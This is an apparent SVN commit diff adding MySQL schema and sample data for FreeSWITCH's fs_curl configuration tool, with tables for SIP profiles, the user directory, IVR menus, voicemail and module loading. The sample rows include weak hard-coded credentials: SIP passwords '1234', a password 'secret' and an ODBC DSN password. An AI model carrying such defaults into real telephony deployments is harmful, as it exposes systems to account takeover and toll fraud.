+(35, 1, 'ivr_demo', '', 350),
+(36, 1, 'dyanmic conference', '', 360),
+(37, 1, 'rtp_multicast_page', '', 370),
+(38, 1, 'park', '', 380),
+(39, 1, 'unpark', '', 390),
+(40, 1, 'park', '', 400),
+(41, 1, 'unpark', '', 410),
+(42, 1, 'park', '', 420),
+(43, 1, 'unpark', '', 430),
+(44, 1, 'wait', '', 440),
+(45, 1, 'ringback_180', '', 450),
+(46, 1, 'ringback_183_uk_ring', '', 460),
+(47, 1, 'ringback_183_music_ring', '', 470),
+(48, 1, 'ringback_post_answer_uk_ring', '', 480),
+(49, 1, 'ringback_post_answer_music', '', 490),
+(50, 1, 'show_info', '', 500),
+(51, 1, 'video_record', '', 510),
+(52, 1, 'video_playback', '', 520),
+(53, 1, 'delay_echo', '', 530),
+(54, 1, 'echo', '', 540),
+(55, 1, 'milliwatt', '', 550),
+(56, 2, 'tone_stream', '', 560),
+(57, 2, 'hold_music', '', 570);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_special`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan_special` (
+  `id` int(11) NOT NULL auto_increment,
+  `context` varchar(255) NOT NULL,
+  `class_file` varchar(255) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_context` (`context`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dialplan_special`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dingaling_profiles`
+--
+
+CREATE TABLE IF NOT EXISTS `dingaling_profiles` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `profile_name` varchar(64) NOT NULL,
+  `type` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_name` (`profile_name`)
+) TYPE=InnoDB  AUTO_INCREMENT=2 ;
+
+--
+-- Dumping data for table `dingaling_profiles`
+--
+
+INSERT INTO `dingaling_profiles` (`id`, `profile_name`, `type`) VALUES
+(1, 'fs.intralanman.servehttp.com', 'component');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dingaling_profile_params`
+--
+
+CREATE TABLE IF NOT EXISTS `dingaling_profile_params` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `dingaling_id` int(10) unsigned NOT NULL,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_type_name` (`dingaling_id`,`param_name`)
+) TYPE=InnoDB  AUTO_INCREMENT=5 ;
+
+--
+-- Dumping data for table `dingaling_profile_params`
+--
+
+INSERT INTO `dingaling_profile_params` (`id`, `dingaling_id`, `param_name`, `param_value`) VALUES
+(1, 1, 'password', 'secret'),
+(2, 1, 'dialplan', 'XML,enum'),
+(3, 1, 'server', 'example.org'),
+(4, 1, 'name', 'fs.example.org');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dingaling_settings`
+--
+
+CREATE TABLE IF NOT EXISTS `dingaling_settings` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_param` (`param_name`)
+) TYPE=InnoDB  AUTO_INCREMENT=3 ;
+
+--
+-- Dumping data for table `dingaling_settings`
+--
+
+INSERT INTO `dingaling_settings` (`id`, `param_name`, `param_value`) VALUES
+(1, 'debug', '0'),
+(2, 'codec-prefs', '$${global_codec_prefs}');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory`
+--
+
+CREATE TABLE IF NOT EXISTS `directory` (
+  `id` int(11) NOT NULL auto_increment,
+  `username` varchar(255) NOT NULL,
+  `domain` varchar(255) NOT NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=MyISAM  AUTO_INCREMENT=12 ;
+
+--
+-- Dumping data for table `directory`
+--
+
+INSERT INTO `directory` (`id`, `username`, `domain`) VALUES
+(1, '1000', 'example.com'),
+(2, '1001', 'example.org'),
+(3, '1002', 'example.net'),
+(5, '1003', 'example.info'),
+(6, '1004', 'example.com'),
+(7, '1005', 'example.org'),
+(8, '1006', 'example.net'),
+(9, '1007', 'example.info'),
+(10, '2000', 'default'),
+(11, '1009', '$${local_ip_v4}');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_domains`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_domains` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `domain_name` varchar(128) NOT NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB  AUTO_INCREMENT=3 ;
+
+--
+-- Dumping data for table `directory_domains`
+--
+
+INSERT INTO `directory_domains` (`id`, `domain_name`) VALUES
+(1, 'freeswitch.org'),
+(2, 'sofaswitch.org');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_gateways`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_gateways` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `directory_id` int(10) unsigned NOT NULL,
+  `gateway_name` varchar(128) NOT NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_gateways`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_gateway_params`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_gateway_params` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `d_gw_id` int(10) unsigned NOT NULL,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_gw_param` (`d_gw_id`,`param_name`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_gateway_params`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_global_params`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_global_params` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(128) NOT NULL,
+  `domain_id` int(10) unsigned NOT NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB  AUTO_INCREMENT=2 ;
+
+--
+-- Dumping data for table `directory_global_params`
+--
+
+INSERT INTO `directory_global_params` (`id`, `param_name`, `param_value`, `domain_id`) VALUES
+(1, 'default_gateway', 'errors', 1);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_global_vars`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_global_vars` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `var_name` varchar(64) NOT NULL,
+  `var_value` varchar(128) NOT NULL,
+  `domain_id` int(10) unsigned NOT NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_global_vars`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_params`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_params` (
+  `id` int(11) NOT NULL auto_increment,
+  `directory_id` int(11) default NULL,
+  `param_name` varchar(255) default NULL,
+  `param_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB  AUTO_INCREMENT=23 ;
+
+--
+-- Dumping data for table `directory_params`
+--
+
+INSERT INTO `directory_params` (`id`, `directory_id`, `param_name`, `param_value`) VALUES
+(1, 1, 'password', '1234'),
+(2, 1, 'vm-password', '861000'),
+(3, 2, 'password', '1234'),
+(4, 2, 'vm-password', '861001'),
+(7, 5, 'password', '1234'),
+(8, 6, 'password', '1234'),
+(9, 7, 'password', '1234'),
+(10, 8, 'password', '123456'),
+(11, 9, 'password', '1234'),
+(12, 10, 'password', '123456'),
+(13, 11, 'password', '1234'),
+(14, 3, 'vm-password', '861002'),
+(15, 3, 'password', '1234'),
+(16, 11, 'vm-password', '861009'),
+(17, 10, 'vm-password', '1234'),
+(18, 9, 'vm-password', '861007'),
+(19, 8, 'vm-password', '861006'),
+(20, 7, 'vm-password', '861005'),
+(21, 6, 'vm-password', '861004'),
+(22, 5, 'vm-password', '861003');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_vars`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_vars` (
+  `id` int(11) NOT NULL auto_increment,
+  `directory_id` int(11) default NULL,
+  `var_name` varchar(255) default NULL,
+  `var_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=MyISAM  AUTO_INCREMENT=6 ;
+
+--
+-- Dumping data for table `directory_vars`
+--
+
+INSERT INTO `directory_vars` (`id`, `directory_id`, `var_name`, `var_value`) VALUES
+(1, 1, 'numbering_plan', 'US'),
+(2, 2, 'numbering_plan', 'US'),
+(3, 3, 'numbering_plan', 'AU'),
+(4, 5, 'numbering_plan', 'US'),
+(5, 5, 'area_code', '434');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `iax_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `iax_conf` (
+  `id` int(11) NOT NULL auto_increment,
+  `profile_name` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB  AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `iax_conf`
+--
+
+INSERT INTO `iax_conf` (`id`, `profile_name`) VALUES
+(3, 'test_profile');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `iax_settings`
+--
+
+CREATE TABLE IF NOT EXISTS `iax_settings` (
+  `id` int(11) NOT NULL auto_increment,
+  `iax_id` int(11) default NULL,
+  `param_name` varchar(255) default NULL,
+  `param_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB  AUTO_INCREMENT=43 ;
+
+--
+-- Dumping data for table `iax_settings`
+--
+
+INSERT INTO `iax_settings` (`id`, `iax_id`, `param_name`, `param_value`) VALUES
+(35, 3, 'debug', '1'),
+(36, 3, 'ip', '$${local_ip_v4}'),
+(37, 3, 'port', '4569'),
+(38, 3, 'context', 'public'),
+(39, 3, 'dialplan', 'enum,XML'),
+(40, 3, 'codec-prefs', '$${global_codec_prefs}'),
+(41, 3, 'codec-master', 'us'),
+(42, 3, 'codec-rate', '8');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `ivr_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `ivr_conf` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `name` varchar(64) NOT NULL,
+  `greet_long` varchar(255) NOT NULL,
+  `greet_short` varchar(255) NOT NULL,
+  `invalid_sound` varchar(255) NOT NULL,
+  `exit_sound` varchar(255) NOT NULL,
+  `max_failures` int(10) unsigned NOT NULL default '3',
+  `timeout` int(11) NOT NULL default '5',
+  `tts_engine` varchar(64) default NULL,
+  `tts_voice` varchar(64) default NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_name` (`name`)
+) TYPE=InnoDB  AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `ivr_conf`
+--
+
+INSERT INTO `ivr_conf` (`id`, `name`, `greet_long`, `greet_short`, `invalid_sound`, `exit_sound`, `max_failures`, `timeout`, `tts_engine`, `tts_voice`) VALUES
+(1, 'demo', 'soundfiles/ivr/demo/greet-long.wav', 'soundfiles/ivr/demo/greet-short.wav', 'soundfiles/ivr/invalid.wav', 'soundfiles/ivr/exit.wav', 3, 5, 'cepstral', 'allison'),
+(2, 'demo2', 'soundfiles/ivr/demo2/greet-long.wav', 'soundfiles/ivr/demo2/greet-short.wav', 'soundfiles/ivr/invalid.wav', 'soundfiles/ivr/exit.wav', 3, 5, NULL, NULL),
+(3, 'menu8', 'soundfiles/ivr/menu8/greet-long.wav', 'soundfiles/ivr/menu8/greet-short.wav', 'soundfiles/ivr/menu8/invalid.wav', 'soundfiles/ivr/menu8/exit.wav', 3, 5, NULL, NULL);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `ivr_entries`
+--
+
+CREATE TABLE IF NOT EXISTS `ivr_entries` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `ivr_id` int(10) unsigned NOT NULL,
+  `action` varchar(64) NOT NULL,
+  `digits` varchar(16) NOT NULL,
+  `params` varchar(255) default NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_ivr_digits` (`ivr_id`,`digits`)
+) TYPE=InnoDB  AUTO_INCREMENT=11 ;
+
+--
+-- Dumping data for table `ivr_entries`
+--
+
+INSERT INTO `ivr_entries` (`id`, `ivr_id`, `action`, `digits`, `params`) VALUES
+(1, 1, 'menu-play-sound', '1', 'soundfiles/features.wav'),
+(2, 1, 'menu-exit', '*', NULL),
+(3, 1, 'menu-sub', '2', 'demo2'),
+(4, 1, 'menu-exec-api', '3', 'bridge sofia/$${domain}/888@conference.freeswtich.org'),
+(5, 1, 'menu-call-transfer', '4', '888'),
+(6, 2, 'menu-back', '#', NULL),
+(7, 2, 'menu-top', '*', NULL),
+(8, 3, 'menu-back', '#', NULL),
+(9, 3, 'menu-top', '*', NULL),
+(10, 3, 'menu-playsound', '4', 'soundfiles/4.wav');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `limit_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `limit_conf` (
+  `id` int(11) NOT NULL auto_increment,
+  `name` varchar(255) default NULL,
+  `value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=MyISAM  AUTO_INCREMENT=2 ;
+
+--
+-- Dumping data for table `limit_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `limit_data`
+--
+
+CREATE TABLE IF NOT EXISTS `limit_data` (
+  `hostname` varchar(255) default NULL,
+  `realm` varchar(255) default NULL,
+  `id` varchar(255) default NULL,
+  `uuid` varchar(255) default NULL
+) TYPE=MyISAM;
+
+--
+-- Dumping data for table `limit_data`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `local_stream_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `local_stream_conf` (
+  `id` int(11) NOT NULL auto_increment,
+  `directory_name` varchar(255) default NULL,
+  `directory_path` text,
+  `param_name` varchar(255) default NULL,
+  `param_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=MyISAM AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `local_stream_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `modless_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `modless_conf` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `conf_name` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB  AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `modless_conf`
+--
+
+INSERT INTO `modless_conf` (`id`, `conf_name`) VALUES
+(1, 'acl.conf'),
+(2, 'postl_load_switch.conf'),
+(3, 'post_load_modules.conf');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `post_load_modules_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `post_load_modules_conf` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `module_name` varchar(64) NOT NULL,
+  `load_module` tinyint(1) NOT NULL default '1',
+  `priority` int(10) unsigned NOT NULL default '1000',
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_mod` (`module_name`)
+) TYPE=InnoDB  AUTO_INCREMENT=54 ;
+
+--
+-- Dumping data for table `post_load_modules_conf`
+--
+
+INSERT INTO `post_load_modules_conf` (`id`, `module_name`, `load_module`, `priority`) VALUES
+(1, 'mod_sofia', 1, 2000),
+(2, 'mod_iax', 1, 2000),
+(3, 'mod_xml_rpc', 1, 100),
+(4, 'mod_portaudio', 1, 1000),
+(5, 'mod_enum', 1, 2000),
+(6, 'mod_xml_cdr', 1, 1000),
+(7, 'mod_spidermonkey', 1, 1000),
+(8, 'mod_alsa', 0, 1000),
+(9, 'mod_log_file', 1, 0),
+(10, 'mod_commands', 1, 1000),
+(11, 'mod_voicemail', 1, 1000),
+(12, 'mod_dialplan_xml', 1, 150),
+(13, 'mod_dialplan_asterisk', 1, 150),
+(14, 'mod_openzap', 0, 1000),
+(15, 'mod_woomera', 0, 1000),
+(17, 'mod_speex', 1, 500),
+(18, 'mod_ilbc', 0, 1000),
+(20, 'mod_g723_1', 1, 500),
+(21, 'mod_g729', 1, 500),
+(22, 'mod_g722', 1, 500),
+(23, 'mod_g726', 1, 500),
+(25, 'mod_amr', 1, 500),
+(26, 'mod_fifo', 1, 1000),
+(27, 'mod_limit', 1, 1000),
+(28, 'mod_syslog', 1, 0),
+(29, 'mod_dingaling', 1, 2000),
+(30, 'mod_cdr_csv', 1, 1000),
+(31, 'mod_event_socket', 1, 100),
+(32, 'mod_multicast', 0, 1000),
+(33, 'mod_zeroconf', 0, 1000),
+(34, 'mod_xmpp_event', 0, 1000),
+(35, 'mod_sndfile', 1, 1000),
+(36, 'mod_native_file', 1, 1000),
+(37, 'mod_shout', 1, 1000),
+(38, 'mod_local_stream', 1, 1000),
+(39, 'mod_perl', 0, 1000),
+(40, 'mod_python', 0, 1000),
+(41, 'mod_java', 0, 1000),
+(42, 'mod_cepstral', 0, 1000),
+(43, 'mod_openmrcp', 0, 1000),
+(44, 'mod_lumenvox', 0, 1000),
+(45, 'mod_rss', 0, 1000),
+(46, 'mod_say_de', 1, 1000),
+(47, 'mod_say_fr', 0, 1000),
+(48, 'mod_say_en', 1, 1000),
+(49, 'mod_conference', 1, 1000),
+(50, 'mod_ivr', 0, 1000),
+(51, 'mod_console', 1, 0),
+(52, 'mod_dptools', 1, 1500),
+(53, 'mod_voipcodecs', 1, 500);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `rss_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `rss_conf` (
+  `id` int(11) NOT NULL auto_increment,
+  `directory_id` int(11) NOT NULL,
+  `feed` text NOT NULL,
+  `local_file` text NOT NULL,
+  `description` text,
+  `priority` int(11) NOT NULL default '1000',
+  PRIMARY KEY  (`id`)
+) TYPE=MyISAM  AUTO_INCREMENT=15 ;
+
+--
+-- Dumping data for table `rss_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_authentication`
+--
+
+CREATE TABLE IF NOT EXISTS `sip_authentication` (
+  `nonce` varchar(255) default NULL,
+  `expires` int(11) default NULL
+) TYPE=InnoDB;
+
+--
+-- Dumping data for table `sip_authentication`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_dialogs`
+--
+
+CREATE TABLE IF NOT EXISTS `sip_dialogs` (
+  `call_id` varchar(255) default NULL,
+  `uuid` varchar(255) default NULL,
+  `sip_to_user` varchar(255) default NULL,
+  `sip_to_host` varchar(255) default NULL,
+  `sip_from_user` varchar(255) default NULL,
+  `sip_from_host` varchar(255) default NULL,
+  `contact_user` varchar(255) default NULL,
+  `contact_host` varchar(255) default NULL,
+  `state` varchar(255) default NULL,
+  `direction` varchar(255) default NULL,
+  `user_agent` varchar(255) default NULL
+) TYPE=InnoDB;
+
+--
+-- Dumping data for table `sip_dialogs`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_registrations`
+--
+
+CREATE TABLE IF NOT EXISTS `sip_registrations` (
+  `call_id` varchar(255) default NULL,
+  `sip_user` varchar(255) default NULL,
+  `sip_host` varchar(255) default NULL,
+  `contact` varchar(1024) default NULL,
+  `status` varchar(255) default NULL,
+  `rpid` varchar(255) default NULL,
+  `expires` int(11) default NULL,
+  `user_agent` varchar(255) default NULL
+) TYPE=InnoDB;
+
+--
+-- Dumping data for table `sip_registrations`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_subscriptions`
+--
+
+CREATE TABLE IF NOT EXISTS `sip_subscriptions` (
+  `proto` varchar(255) default NULL,
+  `sip_user` varchar(255) default NULL,
+  `sip_host` varchar(255) default NULL,
+  `sub_to_user` varchar(255) default NULL,
+  `sub_to_host` varchar(255) default NULL,
+  `event` varchar(255) default NULL,
+  `contact` varchar(1024) default NULL,
+  `call_id` varchar(255) default NULL,
+  `full_from` varchar(255) default NULL,
+  `full_via` varchar(255) default NULL,
+  `expires` int(11) default NULL,
+  `user_agent` varchar(255) default NULL,
+  `accept` varchar(255) default NULL
+) TYPE=InnoDB;
+
+--
+-- Dumping data for table `sip_subscriptions`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_aliases`
+--
+
+CREATE TABLE IF NOT EXISTS `sofia_aliases` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `sofia_id` int(10) unsigned NOT NULL,
+  `alias_name` varchar(255) NOT NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB  AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `sofia_aliases`
+--
+
+INSERT INTO `sofia_aliases` (`id`, `sofia_id`, `alias_name`) VALUES
+(1, 1, 'default'),
+(3, 1, 'sip.example.com');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `sofia_conf` (
+  `id` int(11) NOT NULL auto_increment,
+  `profile_name` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB  AUTO_INCREMENT=2 ;
+
+--
+-- Dumping data for table `sofia_conf`
+--
+
+INSERT INTO `sofia_conf` (`id`, `profile_name`) VALUES
+(1, '$${domain}');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_domains`
+--
+
+CREATE TABLE IF NOT EXISTS `sofia_domains` (
+  `id` int(11) NOT NULL auto_increment,
+  `sofia_id` int(11) default NULL,
+  `domain_name` varchar(255) default NULL,
+  `parse` tinyint(1) default NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `sofia_domains`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_gateways`
+--
+
+CREATE TABLE IF NOT EXISTS `sofia_gateways` (
+  `id` int(11) NOT NULL auto_increment,
+  `sofia_id` int(11) default NULL,
+  `gateway_name` varchar(255) default NULL,
+  `gateway_param` varchar(255) default NULL,
+  `gateway_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB  AUTO_INCREMENT=15 ;
+
+--
+-- Dumping data for table `sofia_gateways`
+--
+
+INSERT INTO `sofia_gateways` (`id`, `sofia_id`, `gateway_name`, `gateway_param`, `gateway_value`) VALUES
+(8, 1, 'default', 'proxy', 'asterlink.com'),
+(9, 1, 'default', 'realm', 'asterlink.com'),
+(10, 1, 'default', 'username', 'USERNAME_HERE'),
+(11, 1, 'default', 'register', 'false'),
+(12, 1, 'default', 'expire-seconds', '60'),
+(13, 1, 'default', 'retry_seconds', '2'),
+(14, 1, 'default', 'password', 'PASSWORD_HERE');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_settings`
+--
+
+CREATE TABLE IF NOT EXISTS `sofia_settings` (
+  `id` int(11) NOT NULL auto_increment,
+  `sofia_id` int(11) default NULL,
+  `param_name` varchar(255) default NULL,
+  `param_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB  AUTO_INCREMENT=37 ;
+
+--
+-- Dumping data for table `sofia_settings`
+--
+
+INSERT INTO `sofia_settings` (`id`, `sofia_id`, `param_name`, `param_value`) VALUES
+(1, 1, 'user-agent-string', 'RayUA 2.0pre4'),
+(2, 1, 'auth-calls', 'true'),
+(5, 1, 'debug', '1'),
+(6, 1, 'rfc2833-pt', '101'),
+(7, 1, 'sip-port', '5060'),
+(8, 1, 'dialplan', 'XML'),
+(9, 1, 'dtmf-duration', '100'),
+(10, 1, 'codec-prefs', '$${global_codec_prefs}'),
+(11, 1, 'rtp-timeout-sec', '300'),
+(12, 1, 'rtp-ip', '$${local_ip_v4}'),
+(13, 1, 'sip-ip', '$${local_ip_v4}'),
+(14, 1, 'context', 'default'),
+(15, 1, 'manage-presence', 'true'),
+(16, 1, 'force-register-domain', 'intralanman.servehttp.com'),
+(17, 1, 'inbound-codec-negotiation', 'generous'),
+(18, 1, 'rtp-rewrite-timestampes', 'true'),
+(19, 1, 'nonce-ttl', '60'),
+(20, 1, 'vad', 'out'),
+(36, 1, 'odbc-dsn', 'freeswitch-mysql:freeswitch:Fr33Sw1tch');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `voicemail_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `voicemail_conf` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `vm_profile` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_profile` (`vm_profile`)
+) TYPE=InnoDB  AUTO_INCREMENT=2 ;
+
+--
+-- Dumping data for table `voicemail_conf`
+--
+
+INSERT INTO `voicemail_conf` (`id`, `vm_profile`) VALUES
+(1, 'default');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `voicemail_email`
+--
+
+CREATE TABLE IF NOT EXISTS `voicemail_email` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `voicemail_id` int(10) unsigned NOT NULL,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_profile_param` (`param_name`,`voicemail_id`)
+) TYPE=InnoDB  AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `voicemail_email`
+--
+
+INSERT INTO `voicemail_email` (`id`, `voicemail_id`, `param_name`, `param_value`) VALUES
+(1, 1, 'template-file', 'voicemail.tpl'),
+(2, 1, 'date-fmt', '%A, %B %d %Y, %I %M %p'),
+(3, 1, 'email-from', '${voicemail_account}@${voicemail_domain}');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `voicemail_settings`
+--
+
+CREATE TABLE IF NOT EXISTS `voicemail_settings` (
+  `id` int(11) NOT NULL auto_increment,
+  `voicemail_id` int(11) default NULL,
+  `param_name` varchar(255) default NULL,
+  `param_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB  AUTO_INCREMENT=31 ;
+
+--
+-- Dumping data for table `voicemail_settings`
+--
+
+INSERT INTO `voicemail_settings` (`id`, `voicemail_id`, `param_name`, `param_value`) VALUES
+(1, 1, 'file-extension', 'wav'),
+(2, 1, 'terminator-key', '#'),
+(3, 1, 'max-login-attempts', '3'),
+(4, 1, 'digit-timeout', '10000'),
+(5, 1, 'max-record-length', '300'),
+(6, 1, 'tone-spec', '%(1000, 0, 640)'),
+(7, 1, 'callback-dialplan', 'XML'),
+(8, 1, 'callback-context', 'default'),
+(9, 1, 'play-new-messages-key', '1'),
+(10, 1, 'play-saved-messages-key', '2'),
+(11, 1, 'main-menu-key', '*'),
+(12, 1, 'config-menu-key', '5'),
+(13, 1, 'record-greeting-key', '1'),
+(14, 1, 'choose-greeting-key', '2'),
+(15, 1, 'record-file-key', '3'),
+(16, 1, 'listen-file-key', '1'),
+(17, 1, 'record-name-key', '3'),
+(18, 1, 'save-file-key', '9'),
+(19, 1, 'delete-file-key', '7'),
+(20, 1, 'undelete-file-key', '8'),
+(21, 1, 'email-key', '4'),
+(22, 1, 'pause-key', '0'),
+(23, 1, 'restart-key', '1'),
+(24, 1, 'ff-key', '6'),
+(25, 1, 'rew-key', '4'),
+(26, 1, 'record-silence-threshold', '200'),
+(27, 1, 'record-silence-hits', '2'),
+(28, 1, 'web-template-file', 'web-vm.tpl'),
+(29, 1, 'operator-extension', 'operator XML default'),
+(30, 1, 'operator-key', '9');
+
+--
+-- Constraints for dumped tables
+--
+
+--
+-- Constraints for table `dingaling_profile_params`
+--
+ALTER TABLE `dingaling_profile_params`
+  ADD CONSTRAINT `dingaling_profile` FOREIGN KEY (`dingaling_id`) REFERENCES `dingaling_profiles` (`id`) ON DELETE CASCADE ON UPDATE CASCADE;

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/mysql-4.0.sql

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/mysql-4.0.sql (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/sql/mysql-4.0.sql) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/mysql-4.0.sql	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/mysql-4.0.sql	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,885 @@
+-- phpMyAdmin SQL Dump
+-- version 3.1.2deb1
+-- http://www.phpmyadmin.net
+--
+-- Host: localhost
+-- Generation Time: Feb 15, 2009 at 09:36 PM
+-- Server version: 5.0.75
+-- PHP Version: 5.2.6-3ubuntu2
+
+
+/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
+/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
+/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
+/*!40101 SET NAMES utf8 */;
+
+--
+-- Database: `freeswitch`
+--
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `acl_lists`
+--
+
+CREATE TABLE IF NOT EXISTS `acl_lists` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `acl_name` varchar(128) NOT NULL,
+  `default_policy` varchar(45) NOT NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `acl_lists`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `acl_nodes`
+--
+
